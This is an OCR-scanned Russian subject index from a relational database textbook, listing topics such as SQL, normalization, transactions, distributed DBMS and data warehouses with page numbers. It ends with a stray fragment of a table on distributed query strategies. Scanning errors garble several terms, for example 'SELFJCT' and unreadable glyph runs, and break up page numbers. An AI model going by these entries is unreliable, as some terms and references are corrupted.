внедрение операторов, 502; 506
выборка данных, 508
многострочные запросы, 511
однострочные запросы, 509
вычисление предикатов, 432
вычисляемые поля, 430
группирование, 440
динамический SQL, 517; 518; 528
курсоры, 522; 524
область SQLDA, 521
оператор DESCRIBE, 529
оператор EXECUTE, 519; 522
оператор PREPARE, 519; 522
параметрические маркеры, 520
добавление данных, 457
домены, 488
идентификаторы, 462
индикаторные переменные, 508
исторические сведения, 423 ключевые слова
ALL, 445
ALL PRIVILEGES, 499
ANY, 445
BETWEEN, 432
CASCADE, 480; 489; 495
CASCADED, 484
DEFERRABLE, 498
DISTINCT, 429; 438; 483
EXCEPT, 454
EXISTS, 444; 453
FOR READONLY, 511
IN, 433; 444
INTERSECT, 454
IS NULL, 434
LIKE, 433
LOCAL, 484
MATCH, 493
NOT NULL, 483
NULL, 468; 488; 493
PUBLIC, 499
READ ONLY, 497
READ WRITE, 497
RESTRICT, 480; 489; 495
SOME, 445
UNION, 454
UNIQUE, 489
SQL
копирование данных таблиц, 458
курсоры, 511; 522
литералы, 426
многотабличные запросы, 446
модификация информации, 457
назначение, 421
область связи SQLCA, 504
обновление данных, 460
обобщающие функции, 437; 678
оператор SELFJCT, 427
операторы сравнения, 431
операции над множествами, 454
операция соединения, 446
определение данных, 461
открытые соединения, 451
отмена привилегий, 501
подзапросы, 442
предложение WHERE, 431
прикладное API, 503; 516
проверка существования, 453
простые запросы, 427
псевдонимы, 447
расширения языка в OLAP, 989
сериализация, 497
скалярные операторы, 465
соединение таблиц, 449
создание баз данных, 466
создание индекса, 469
создание таблиц, 467
сортировка результатов, 435
типы данных, 462
approximate numeric, 464
bit, 463
character, 462
datetime, 464
exact numeric, 463
interval, 464
транзакции, 496
удаление данных, 460
удаление индекса, 470
удаление таблиц, 469
управление доступом к данным, 498
условия поиска, 431; 432; 4 33; 434
формат операторов, 425
характеристика, 422
SQLCA, 504
переменная SQLCODE, 505
структура SQLWARN, 505
SSI, 910
SSL, 935
STT, 936
т
TCP/IP, 890; 932
Telnet, 892
и
Universal Data Server, 29
URL-адрес, 895
V
VBScript, 923
w
warehouse, 29
Web, 890; 892; 106 7
Web-страницы, 892; 896
Windows DNA, 924
World Wide Web, 892
X
X/Open, 28
XML, 939; 940
A
автоматизированное проектирование, 772
автоматизированное производство, 772
авторизация, 574; 580
администратор базы данных, 55
администратор данных, 55
администрирование базы данных, 175
администрирование данных, 174
алгоритм реконструкции, 762
анализ документации, 345 аномалии
вставки, 225
обновления, 161; 224; 226
удаления, 226
аплет, 913
архитектура ANSI-SPARC, 73
архитектура клиент/сервер, 52; 813; 898
двухуровневая, 898
трехуровневая, 898
атомарность данных, 777
атрибуты, 48; 84; 106; 108; 118; 185;
188; 268; 856; 1061
виртуальные, 863
домены, 270; 356; 379; 10 61
идентификация, 268; 1061
ключевые, 271
многозначные, 187
множественные, 283; 1061
обязательные данные, 379
определение, 353
определение свойств, 400
повторяющиеся группы, 333
правила проверки, 402
производные, 269; 323; 1061
простые, 186; 269; 1061
атрибуты
составные, 186; 269; 1061
списки значений, 403
. ссылочные, 822
хранимые, 863
целостность данных, 378
аутентификация, 574; 580
Б
базы данных, 47; 111; 147; 821; 8 3 7
бизнес-правила» 406
время ответа, 312
выборка информации, 660
жизненный цикл, 147
запросо-центрированные, 981
защита, 414; 567; 569
идентификатор пользователя, 340
настройка, 341
определение требований, 151
оценка эффективности, 312
персонал, 54
планирование разработки, 150
проектирование, 153; 159; 821
разработка приложений, 154
распределенные, 687; 688; 690
реализация, 155
сегментирование, 995
согласованность, 596
создание прототипов, 154
сопровождение, 158
спецификации, 152
ссылочная целостность, 404
статистика, 645; 659
схема, 53
физическое представление, 408
целостность данных, 487; 497
бизнес-правила, 55; 294; 311; 380; 406; 491
блокировка, 607; 733
взаимная, 613
двухфазная, 608
брандмауэры, 891; 933
броузер, 892; 900
в
взаимная блокировка, 733; 736
восстанавливаемость, 606
восстановление базы данных, 623
временные отметки, 615; 733;736
время передачи, 699
вторичные устройства хранения, 1011
вторичный индекс, 321
выборка, 123
г
генерализация, 208; 357
генераторы форм, 82
геоинформационные системы, 774
гиперссылки, 892
глобальная модель, 295; 1063
глобальные приложения, 688
граф ожидания, 614;737; 738; 739
граф предшествования, 604; 752
граф соединений нормализованных атрибутов, 650
граф соединения отношений, 650
график, 602
восстанавливаемый, 606
последовательный, 602
А
Двоичный поиск, 662
двухфазный протокол блокировки, 733;
734; 735; 956
декартово произведение, 124; 450
декомпозиция запросов, 648
анализ, 648
дерево запроса, 649
нормализация, 649
реструктуризация, 652
семантический анализ, 650
упрощение, 651
декомпозиция отношений, 227; 239
деление (отношений), 131
денормализация, 289; 323; 411
дерево запроса, 649
дерево реляционной алгебры, 649; 653;
656; 679
деревья, 1022
детерминант, 228
диаграммы “сущность-связь”, 273; 1062
диаграммы потоков данных, 295
дизъюнктивная нормальная форма, 649
динамический набор, 415
динамическое связывание, 789
домены, 855
домены атрибутов. 109; 112; 186; 270;
292; 30 7; 488; 1061
древовидная индукция, 994
ж
жизненный цикл программ, 146; 147
журнал, 627
3
зависимость соединения, 253
задержка доступа, 699
запись, 111
запросы
обработка, 645
оптимизация, 645; 761
рекурсивные, 777
защита, 498; 569; 581; 582; 583; 586; 932
анализ риска, 571
аудит, 581
брандмауэры, 933
идентификаторы пользователей, 498
компьютерные средства, 573
оценка риска, 588
право владения, 498
представления, 577
представления пользователей, 338
привилегии, 498
прокси-серверы, 933
протокол SET, 936
протокол SSL, 935
протокол STT, 936
распределенные СУБД, 694
резервное копирование, 577
сжатие сообщений, 934
требования, 932
церберы, 935
цифровые подписи, 934
цифровые сертификаты, 935
шифрование, 578
юридические требования, 590
защита базы данных, 306
и
иерархия типа, 205
избыточность данных, 224; 322
избыточность связей, 284
издательское дело, 774
индексы, 311; 664; 882; 1019
вторичные, 1020
деревья, 1022
кластеризации, 1020
многоуровневые, 1022
первичные, 1019
плотные, 1020
разреженные, 1020
индикаторные переменные, 508
интернирование, 829
информационные системы, 147; 773
к
кардинальность
отношений, 268
связей, 194
карты выполнения транзакций, 315; 409
каскадный откат, 611
категоризация, 209
квантор, 133
классификация, 994
классы, 784
ключи, 114; 187; 285
альтернативные, 115
внешние, 115; 120; 239; 285; 489; 492
определение, 356
первичные, 115; 119; 187; 239; 285;
356; 381; 489; 492
потенциальные, 114; 18 7; 229; 240;
356; 492
составные, 114
суперключ, 114
коллективная разработка, 772
коллекции, 834
конвейерная обработка, 678
консолидация, 984
контрольные точки, 628; 804
концептуальная модель, 265
концептуальная схема, 116
концептуальное проектирование, 87; 160;
212; 260; 261; 265; 345; 348; 1061 конъюнктивная нормальная форма, 649 кортеж, 106; 110
критерии оценки СУБД, 170
курсоры, 522
к
линейные деревья, 679
линейный поиск, 662
ловушки соединения, 199
логическое проектирование, 161; 260;
261; 278; 304; 369; 1061
глобальная модель, 295; 1063
локальные модели
интеграция, 696
локальные приложения, 688
м
магазины данных, 29; 966
маршализация, 804
маршрутизация, 698
маска ввода, 401
матрица ссылок, 323
метаданные, 53; 79; 88
методология проектирования, 146; 159;
261
интерфейс пользователя, 165
концептуальное проектирование, 160
логическое проектирование, 161
моделирование данных, 159
проектирование транзакций, 164
тестирование, 156
физическое проектирование, 162
ММП, 692 многозначная зависимость, 250; 251 многомерные массивы, 981 многоуровневая блокировка, 622 множественное наследование, 207 модели данных, 696 физические, 87
модели рабочих потоков, 639 моделирование данных, 159 модель
ER-модель, 183 атрибуты, 84 глобальная, 296 глобальная логическая, 380 иерархическая, 57; 790; 1043 концептуальная, 265; 278; 369 логическая, 88; 278; 279; 284; 369; 1062 логическая глобальная, 161 логическая локальная, 162; 380 локальная концептуальная, 348 объектная, 59 объектно-ориентированная, 84 объектно-реляционная, 59 реляционная, 58; 106; 775; 776 связи, 84 сетевая, 57; 790 сетевая (CODASYL), 1027 слияние, 296 сущности, 84 сущность-связь, 183
Модель OSI, 699
модель данных, 83; 88
иерархическая, 86 концептуальная, 279
реляционная, 84
сетевая, 86
мониторинг, 306
н
наследование, 785
независимость от данных, 78
логическая, 78
физическая, 78
нейронная индукция, 994
нелинейная регрессия, 995 неприкосновенность личных данных, 590 нисходящий анализ, 984 нормализация, 113; 161; 223; 229; 260;
289; 290; 295; 322; 374
1НФ, 230 2НФ, 234 ЗНФ, 237 4НФ, 250; 252 5НФ, 252; 253 аномалии, 225; 226
декомпозиция, 239
детерминант, 228
зависимость соединения, 253
многозначная зависимость, 250; 251
НФБК, 240
транзитивная зависимость, 236; 237
функциональная зависимость, 227; 234
нормальные формы, 290; 374
1НФ, 230
2НФ, 234
ЗНФ, 237
4НФ, 250; 252
5НФ, 252; 253
ННФ, 230
НФБК, 240; 374; 3 75
носители информации, 624
о
обнаружение отклонений, 997
обобщающие операции, 678
объединение, 126
объекты, 776; 780
атрибуты, 781
версии, 809
идентификация, 781
коллекции, 834
литералы, 834
перманентные, 803
связи, 836
составные, 789
обязательные данные, 379
ООП, 780
абстракция, 779
атрибуты, 780
динамическое связывание, 788
инкапсуляция, 780
классы, 784
конструктор, 785
метакласс, 785
методы, 783
модуляризация, 780
наследование, 785
перегрузка, 788
подклассы, 785
полиморфизм, 788
сокрытие информации, 780
сообщения, 784
суперклассы, 785
ООСУБД, 796; 799; 815; 817; 819; 848; 883
архитектура, 813
базы данных, 837.
версии объектов, 809
доступ к объектам, 802
метаданные, 837
методы, 826
ООСУБД перспективы, 800 проектирование, 821 производительность, 818 стандарт ODMG 2.0, 827 транзакции, 809; 837 упорядоченность, 810 хранение методов, 814 эволюция схемы, 811 язык запросов, 840 операции над множествами, 677 определитель NULL, 118 опрос работников, 345 оптимизация запросов, 645; 646 алгоритм реконструкции, 762 декомпозиция, 648 динамическая, 648 оценка стоимости, 659; 661 статическая, 648 эвристические стратегии, 658 этапы, 647
ОРСУБД, 848; 855; 883
обработка запросов, 879
оптимизация запросов, 879 ортогональная перманентность, 805 отмена привилегий, 501 отношение, 108; 111; 267; 285; 405; 1061 заголовок, ПО идентификация, 267 кардинальность, 111; 268 ключи, 285 основные свойства, 113 ссылочная целостность, 405 степень, ПО тело, ПО тип M-N, 370
отношения, 775
оценка риска, 588
оценки кардинальности, 6 61; 669; 675; 6 78
п
память, 624
вторичная, 1011 первичная, 1011 параллельность, 598; 606; 70 7 оптимистические технологии, 619 уровень детализации, 620 первичный индекс, 321 перемешивание, 1015
пересечение, 130
перманентность, 797; 803
контрольные точки, 804 ортогональная, 805 подкачка страниц, 805 подстановка указателей, 806
сериализация, 804
схема реализации, 804
языки программирования, 798
подкачка страниц, 805
подстановка объектов, 802
подстановка указателей, 802; 806
поиск по ключу, 663
поле, 111
полиморфизм, 788
последовательные файлы, 335
права доступа, 339
предикаты,132; 315; 649
простые, 661
составные, 665
предметная область, 83
представление пользователя, 345
представления, 50; 136; 476; 485; 577
базовое отношение, 136
вертикальные, 478
горизонтальные, 477
группированные, 479
обновление данных, 138; 482
ограничения, 481
права доступа, 499
разрешение, 480
соединенные, 479
создание, 477
ЧШ™^ 480
фраза WITH CHECK OPTION, 483
привилегии, 499; 575
отмена, 501
проблема рассогласования, 778
прогнозирование значения, 995
прогнозирующее моделирование, 993
проектирование базы данных, 260
проекция, 123; 675
прозрачность, 716
выполнения, 720
именования, 718
использования СУБД, 723 локального отображения, 717 отказов, 720
параллельности, 719
расположения, 717
распределенности, 716
репликации, 717
транзакций, 718
фрагментации, 716
производные данные, 412
прокси-серверы, 933 протоколы
DTP, 699
RDA, 699
Х.25, 699
р
разбиение с поворотом, 984
разность (множеств), 127
разработка данных, 29; 991
анализ связей, 996
методы, 993
обнаружение отклонений, 997
прогнозирующее моделирование, 993
сегментирование базы данных, 995
распределенная обработка, 91; 689
распределенные системы
шлюзы, 696
распределенные СУБД, 687
гетерогенные, 695
гомогенные, 695
расщепление, 712
рекурсия, 282
реляционная алгебра, 121
операции, 121
правила преобразования операций, 653
реляционная модель, 106; 116; 138
атрибуты, 108; 118
база данных, 111
внешние ключи, 115; 120
домены, 109
ключи, 114
кортеж, ПО; 112
отношение, 108; 111; 113
первичный ключ, 115
потенциальный ключ, 114
предикат, 132
представления, 136; 577
реляционная алгебра, 121
реляционное исчисление, 121; 132
ссылочная целостность, 120
схема, 112
терминология, 108
целостность данных, 118
целостность сущностей, 119
языки, 120
реляционное исчисление, 121; 132
реляционное исчисление доменов, 135
реляционные языки, 120
репликация, 705; 734; 735; 754; 759
асинхронная, 755
ведомая копия, 734
владение данными, 756
моментальные снимки, 759
основные концепции, 754
первичная копия, 734
разрешение конфликтов, 761
синхронная, 755
триггеры, 760
реструктуризация запросов, 652 РСУБД
прозрачность, 716
С
связи, 48; 84; 190; 278; 775; 822; 836
атрибуты, 193; 283
избыточные, 284
кардинальность, 194; 350
многие ко многим, 280
один к одному, 286
один ко многим, 287
определение типа, 348
рекурсивные, 192; 282
сложные, 281
степень участия, 191; 198; 350
суперкласс/подкласс, 288
секционирование таблиц, 974
семантический анализ запросов, 650
сервлет, 913
сериализация, 497; 804
сети, 698
глобальные, 698
локальные, 698
системные ресурсы, 313
скалярные операторы, 465
слияние локальных моделей, 381
словарь данных, 10 0; 307; 395
IRDS, 100
активный, 100
пассивный, 100
СМИ, 691
согласованность данных, 596
соединение. 127; 667
в и сиг н-с, 129
естрс ^jc нг.ое, 128
полусоединение, 130
тета-соединение, 127
создание таблиц, 398; 467
специализация, 205; 208; 35 7
спецификации требований, 211; 345
ссылочная целостность, 292; 3 79; 4 04
ссылочные атрибуты, 822
степень связи, 191
структуры файлов, 319
СУБД, 4 7; 48; 106; 260; 305; 307; 772;
848; 852; 859
администрирование, 173; 174; 175
архитектура
двухуровневая, 99
клиент/сервер, 97
телеобработка, 95
трехуровневая, 99
файловый сервер, 96
СУБД
базовый язык, 79
блокировка, 607
внешний уровень, 75
внутренний уровень, 76
восстановление, 606; 623; 626; 629
выбор типа, 169
генераторы форм, 82
граф предшествования, 752
журнал, 627
защита данных, 90
избыточность данных, 59
интеграция в Web, 897; 900
компоненты, 51; 92
конвейерная обработка, 678
контрольная точка, 628
концептуальный уровень, 75
критерии оценки, 170
метаданные, 53
многомерные, 982
модели памяти, 801
модель данных, 83
мультибазовая, 697; 702
недостатки, 774
независимость от данных, 78
непротиворечивость данных, 60
обработка запросов, 645
объектно-ориентированные, 28; 796
основные функции, 88
параллельность, 89; 598; 606
параллельные, 690; 692
перманентность, 797
подсхема, 73
пользователи, 56
право владения, 575
привилегии, 575
прикладные программисты, 56
программное обеспечение, 52
разработчики, 55
распределенные, 687; 688
расчленение сети, 749
реляционные, 107
системные ресурсы, 313
системный каталог, 79; 88; 100
словарь данных, 100
согласованность, 630
состояние базы данных, 78
средства восстановления, 90
схема, 73; 76
транзакции, 595; 597
трехуровневая архитектура, 73; 74
триггеры, 760
упорядочивание, 601
физический уровень, 76
целостность данных, 91
язык запросов, 81
языки 4GL, 81
СУРБД, 688; 692; 724
архитектура, 700; 702
взаимная блокировка, 736
восстановление, 740; 741
глобальная схема, 701
компонент передачи данных, 731
координатор транзакций, 731; 733
локальные схемы, 702
менеджер блокировки, 733
менеджер глобальных транзакций, 731
набор функций, 700
оптимизация запросов, 761
основные концепции, 688
прозрачность, 689
протоколы восстановления, 742
разработка, 704
распределение данных, 705; 706
распределенные транзакции, 730
репликация, 705
схема распределения, 702
схема фрагментации, 702
управление параллельностью, 731
фрагментация, 705; 707
сущность, 47; 84; 183; 266; 278; 775; 1061
атрибуты, 185
идентификация, 266
ключи, 187
определение типа, 348
первичный ключ, 271; 1061
потенциальный ключ, 271; 1061
родительская, 356
сильная, 185; 271; 285
слабая, 185; 2 71; 286; 356
слияние, 383
специализация/генерализация, 357
целостность, 379
экземпляры, 184
сценарии, 905; 920
ASP, 926
CGI, 905; 90 7; 908
JavaScript, 921
JScript, 921
VBScript, 923
T
таблицы, 108; 373
владелец, 340
вторичные индексы, 321; 410
декомпозиция, 227
изменение формата, 495
индексы, 403
ключи, 492
описание на DLBL, 395
таблицы
отношения, 405
первичные индексы, 321
первичный ключ, 400
права доступа, 339; 499
представления пользователей, 338; 414 привилегии, 340 сводные, 334 создание, 491
способы реализации, 308
справочные, 329; 403
таблицы фактов, 950
тестирование, 156
стратегии, 157 типы данных коллекции, 871 пользовательские, 861 пользовательские подпрограммы, 863 ссылочные, 870 тип-строка, 860
транзакции, 89; 164; 290; 347; 375; 496;
595; 597; 632; 741; 809; 837; 1062
атомарность, 720
вложенные, 633
восстановление, 625
временная отметка, 616
двухфазная фиксация, 742
динамическая реструктуризация, 638 долговременные, 809 компенсирующие, 597; 636 контроль выполнения, 290 координатор, 742; 744; 746 менеджер восстановления, 730 менеджер транзакций, 730 многоуровневые, 636 модель Х/Ореп, 752 планировщик, 730 прозрачность, 718 протокол восстановления, 746 протокол выбора, 747 протокол ликвидации, 744 распределенные, 718; 730 режим обработки, 497 субтранзакции, 718 точки сохранения, 635 трехфазная фиксация, 749 упорядоченность, 732 уровень изоляции, 497 участник, 742; 745; 74 6 фиксация и откат, 597 хроники, 636
транзитивная зависимость, 236; 237; 240 транзитивное замыкание, 777 требования пользователей
сбор и анализ, 151
трехуровневая архитектура СУБД, 73 триггеры, 310; 312; 874
N
упорядоченность, 732
упорядочивание, 601; 603
конфликтное, 604
по просмотру, 605
управление доступом к данным, 498
ф
файловые системы, 39
запись, 43
поле, 43
типичные недостатки, 44
файлы, 111; 1011
B+-tree, 664
блок, 1012
двоичные деревья, 320; 337
записи, 1011
индексирование, 1019
индексно-последовательные, 320; 336;
1020
методы доступа, 1012
организация, 1012
перемешивание, 663
последовательные, 319; 335; 1012
прямого доступа, 1015
страница, 1012
хешированные, 319; 336; 1012; 1015
физическое проектирование, 162; 260;
278; 304; 305; 30 7; 394; 1061
анализ информации, 395
анализ транзакций, 315; 408
денормализация, 322
дисковое пространство, 335
дублирование атрибутов, 325
матрица ссылок, 323
объединение таблиц, 325
организация защиты, 338
оценка объема дисковой памяти, 414
разработка таблиц, 395
создание базы данных, 397
создание таблиц, 398
этапы, 305
фрагментация, 705; 707
вертикальная, 710; 763
горизонтальная, 709; 762
правила корректности, 708
производная, 714; 765
смешанная, 712
типы, 708
функциональная зависимость, 227; 234
X
хеш-функция, 1015
хранилища данных, 29; 945
администрирование, 965
архитектура, 951
инструментальные средства, 959 информационные потоки, 956 информация, 953
используемые СУБД, 961
концепция, 946
менеджер загрузки, 951
менеджер запросов, 953
менеджер хранилища, 952 метаданные, 953; 963 оперативные данные, 951 очистка информации, 960 преимущества, 947 проектирование, 970 средства доступа, 954 схема “звезда”, 971 схема “снежинка”, 975 таблицы фактов, 950
ц
целостность данных, 118; 292; 378; 487; 49 7; 708; 775'
корпоративные ограничения, 120 ограничения домена, 118
правила целостности, 118
ссылочная целостность, 118; 120
целостность сущностей, 118; 119; 379
церберы, 935
цифровые сертификаты, 935
ш
шифрование, 578
несимметричное, 579
симметричное, 579
шлюзы, 696
э
эволюция схемы, 811
экстернирование, 829
я
Язык ODL, 838
язык OQL, 840*
языки баз данных, 79
2Переслать отношения Property и Viewing в Глазго и выполнить там обработку за-28 ч
проса
3Соединить отношения Property и Viewing в Лондоне, выбрать кортежи для объек-2,3 дней
тов недвижимости в Абердине, а затем для каждого из отобранных кортежей проверить в Глазго, установил ли данный клиент значение потолка допустимой стоимости недвижимости Max_Price > 200 000 фунтов стерлингов
4 Выбрать в городе Глазго кортежи клиентов, установивших значение Max_Price >20 с
200 000 фунтов стерлингов, после чего для каждого из них проверить в Лондоне, осматривал ли этот клиент объекты недвижимости в Абердине